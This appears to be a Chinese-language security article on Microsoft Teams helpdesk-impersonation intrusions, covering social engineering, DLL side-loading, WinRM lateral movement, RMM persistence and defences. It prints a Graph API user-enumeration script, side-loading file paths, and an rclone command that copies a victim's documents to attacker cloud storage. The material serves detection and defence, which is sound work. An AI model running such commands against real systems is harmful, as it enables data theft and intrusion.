1. 簡介

企業資安領域正面臨越來越多「人為操作的入侵」(Human-operated intrusions),這類攻擊會濫用協作平台中固有的信任。近期針對複雜威脅活動的調查顯示,攻擊手法已從傳統的電子郵件釣魚轉向 Microsoft Teams 內的跨租戶假冒。這份研究報告深入探討攻擊鏈的技術細節,說明攻擊者如何透過濫用合法的遠端協助工具、原生管理協定以及自動化資料傳輸工具來進行資料外洩。藉由分析社交工程與技術利用的交互作用,文章目的在提供可行的建議,協助資安專業人員偵測及緩解這類不斷進化的威脅。此類攻擊的複雜性在於,它們能透過合法的通訊管道運作,並利用合法的管理工具來融入例行性的企業活動,藉此繞過傳統的邊界防禦 [1]

資安防線為何失靈?從WinRM橫向移動到Rclone雲端偷渡——一篇讀懂最新客服假冒攻擊 | 資訊安全新聞

2. 攻擊鏈架構

入侵週期的特點是多階段的進程,將惡意意圖與常規的 IT 支援活動交織在一起。攻擊始於社交工程以取得初始存取權,隨後是快速的偵察、橫向移動,最後是外洩敏感資料。這種有結構的手法讓 threat actor 能夠保持低調,同時系統性地入侵目標環境。下圖說明了攻擊鏈的高階架構,重點標示了從使用者輔助存取轉換到自主惡意活動的關鍵轉折點。

graph TD A[Initial Contact via Teams] --> B[Remote Assistance Foothold] B --> C[Interactive Reconnaissance] C --> D[Payload Placement
& Side-loading] D --> E[Lateral Movement
via WinRM] E --> F[Deployment
of Level RMM] F --> G[Data Exfiltration
via Rclone]

3. 技術執行與方法

3.1. 初始存取與社交工程

入侵始於濫用 Microsoft Teams 的外部協作功能。Threat actor 從不同的租戶進行操作,並在假冒內部客服或資安人員的同時發起聯絡。這一階段很大程度上依賴社交工程,而非技術漏洞。攻擊者使用自訂網域(Custom domains)與品牌形象(Branding)來營造合法感,說服使用者忽略多項安全警告。這類攻擊的心理層面至關重要;藉由營造緊急感(例如「安全更新」或「帳號驗證」),攻擊者操弄使用者授予遠端存取權限。其主要目標是說服使用者啟動遠端協助工作階段(例如使用 Quick Assist 或 AnyDesk),從而讓攻擊者獲得對端點的互動式控制權 [2]

3.2. 互動式偵察與存取權驗證

一旦取得遠端存取權,攻擊者便會執行快速偵察,以評估存取權限的範圍並了解遭入侵的環境。這通常涉及一連串的命令列活動,用以驗證使用者環境、收集系統資訊,並確認網域關聯。攻擊者經常檢查系統管理員權限與網路連線能力,以找出橫向移動的潛在路徑。以下 Python 程式碼展示了攻擊者如何使用 Microsoft Graph API 以程式化方式列舉使用者並識別高價值的目標。這種程式化方法能比手動互動更快地完成探查 [2]

  1. # Python script for Teams user enumeration via Microsoft Graph API
  2. # This script requires an OAuth 2.0 access token with User.Read.All permissions
  3. import requests
  4. # Configuration for the target tenant API endpoint
  5. GRAPH_API_BASE_URL = "https://graph.microsoft.com/v1.0"
  6. USERS_ENDPOINT = f"{GRAPH_API_BASE_URL}/users"
  7. # Headers containing the attacker-supplied access token
  8. HEADERS = {
  9. "Authorization": "Bearer {ACCESS_TOKEN}", # Replace with valid token
  10. "Content-Type": "application/json"
  11. }
  12. def enumerate_teams_users():
  13. """Enumerates users in the Microsoft Teams environment to identify targets."""
  14. print("--- Enumerating Teams Users ---")
  15. try:
  16. # Sending a GET request to the Graph API users endpoint
  17. response = requests.get(USERS_ENDPOINT, headers=HEADERS)
  18. response.raise_for_status()
  19. users_data = response.json()
  20. # Iterating through the returned user objects
  21. for user in users_data.get('value', []):
  22. # Extracting User ID, Display Name, and User Principal Name (UPN)
  23. print(f"User ID: {user.get('id')}")
  24. print(f"Display Name: {user.get('displayName')}")
  25. print(f"UPN: {user.get('userPrincipalName')}")
  26. print("-" * 20)
  27. except requests.exceptions.RequestException as e:
  28. print(f"Error during enumeration: {e}")
  29. if __name__ == "__main__":
  30. enumerate_teams_users()

3.3. Payload Placement 與 DLL Side-loading

建立立足點後,攻擊者會透過將暫存套件放入磁碟,來轉為持久執行。為了躲避偵測,攻擊者常使用 DLL side-loading,也就是將惡意的 DLL 放置在受信任且有簽章的應用程式相同目錄下。當該應用程式執行時,它會載入惡意的 DLL 而非合法的 DLL。這項技術非常有效,因為對大多數安全監控工具來說,初始程序的執行看似合法。攻擊者通常會瞄準系統上已有的常見應用程式,或是部署他們自己的簽章二進位檔來輔助 side-loading 程序。

受信任的可執行檔 目標 DLL 暫存目錄
AcroServicesUpdater2_x64.exe msi.dll C:\ProgramData\Adobe\
ADNotificationManager.exe vcruntime140_1.dll C:\Users\Public\Documents\

3.4. 透過 WinRM 橫向移動

橫向移動是使用原生管理協定(例如 Windows Remote Management,WinRM)來達成。這讓攻擊者能夠轉向高價值資產(包含網域控制器),同時融入預期的企業活動。WinRM 是攻擊者的理想選擇,因為在企業環境中,它通常為遠端管理與自動化而預設啟用。藉由利用遭洩漏的 Credential,攻擊者可以在遠端系統上以合法管理員同等級的權限執行命令。下列 Kusto Query Language (KQL) 片段目的在偵測可能表示橫向移動的異常 WinRM 連線 [1]

  1. // KQL to detect suspicious WinRM lateral movement activity
  2. DeviceNetworkEvents
  3. | where Timestamp > ago(14d)
  4. // Filtering for standard WinRM ports (5985 for HTTP, 5986 for HTTPS)
  5. | where RemotePort in (5985, 5986)
  6. // Excluding legitimate management processes to reduce noise
  7. | where InitiatingProcessFileName !in~ ("wsmprovhost.exe", "winrshost.exe", "powershell.exe")
  8. | project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
  9. | order by Timestamp desc

3.5. 部署輔助存取工具

為了確保長期持久性並提供備用的存取路徑,攻擊者會部署商業級的遠端監控管理軟體(例如 Level RMM)。這些工具通常經由最初的遠端協助工作階段遠端安裝,並提供穩定的 Command and Control (C2) 通道,使其難以與合法的 IT 管理活動區分開來。使用商業 RMM 工具在 threat actor 中已成為一種日益增長的趨勢,因為這些工具提供強大的遠端執行、檔案傳輸與系統監控功能,同時還能對網路防禦者維持合法的外觀。

4. 資料外洩與衝擊

入侵的最後階段是外洩敏感的企業資料。攻擊者使用 Rclone(一個用於管理雲端儲存檔案且功能強大的命令列工具)。透過使用自訂的 Configuration 檔案,他們可以將大量資料暫存並傳輸到外部的雲端基礎架構。此類資料外洩的衝擊可能非常嚴重,導致智慧財產、敏感的客戶資訊與企業機密遺失。此外,使用 Rclone 讓攻擊者得以自動化資料外洩程序,確保在安全團隊能夠干預之前快速搬移大量資料集。以下分析分解了在已觀察到的入侵中用於 Rclone 資料外洩的典型命令 [1]

  1. # Analysis of Rclone exfiltration command
  2. # The attacker executes rclone.exe with specific flags to optimize data transfer
  3. rclone.exe copy "C:\Users\Victim\Documents" remote:exfil_storage \
  4. --config rclone_uploader.conf \ # Path to the attacker's configuration file
  5. --transfers 16 \ # Number of parallel file transfers
  6. --checkers 16 \ # Number of parallel checkers
  7. --buffer-size 64M \ # Buffer size for each transfer
  8. --max-age=3y \ # Only transfer files modified in the last 3 years
  9. --exclude "*.mdf" # Exclude large database files to avoid bandwidth spikes

5. 進階防禦策略

要防護這類由人為操作的複雜攻擊,需要採用超越傳統特徵碼偵測的縱深防禦策略。組織必須採取主動的安全態勢,包含持續監控、身份驗證與提升使用者能力。

以身份為中心的安全: 由於這類攻擊依賴假冒,強化身份邊界至關重要。組織應實施嚴格的 Conditional Access 政策,以控管 Microsoft Teams 中的外部協作。這包含將通訊限制在受信任的網域,並對所有外部互動強制執行多因素驗證 (Multi-Factor Authentication, MFA)。此外,監控異常的登入模式與權限提升嘗試,有助於在遭洩漏的帳號被用於橫向移動之前識別出來 [2]

端點韌性: 端點是這類入侵的主要戰場。安全團隊應部署 Attack Surface Reduction (ASR) 規則,以阻止未經授權的 RMM 工具執行,並防止常見的辦公應用程式建立可疑的子程序。此外,部署能夠識別 DLL side-loading 及其他進階執行技術的端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案,對於早期偵測至關重要。

網路可視性: 雖然許多攻擊者使用加密通道,但網路層級的監控仍然可以提供寶貴的線索。安全團隊應監控流向雲端儲存供應商的異常資料傳輸量,並檢查內部網路流量是否有異常的 WinRM 活動。實施網路分段也可以限制橫向移動的範圍,防止攻擊者輕易地從單一遭入侵的工作站轉向關鍵基礎設施。

賦能人類防火牆: 最終,社交工程攻擊的成功與否取決於使用者的反應。定期且高品質的安全認知訓練至關重要。應教導使用者辨識客服假冒的跡象,例如未經要求就要求遠端存取,或是施加壓力要求繞過安全警告。建立一種讓員工樂於回報可疑活動的文化,可以顯著減少攻擊者在網路內的停留時間 [1]

6. 結論

跨租戶客服假冒的演進突顯了保護現代協作環境所面臨的持續挑戰。透過將社交工程與濫用合法管理工具相結合,threat actor 已創造出一個能繞過傳統安全控制、且極其有效的入侵戰術手冊。這份研究報告詳細說明了這些攻擊從初始存取到資料外洩的技術執行過程,並提供了一個進階防禦策略的框架。隨著 threat actor 持續改進他們的技術,組織必須保持警覺,並採用整合身份、端點與網路保護,同時高度聚焦於使用者教育的多層次安全方法。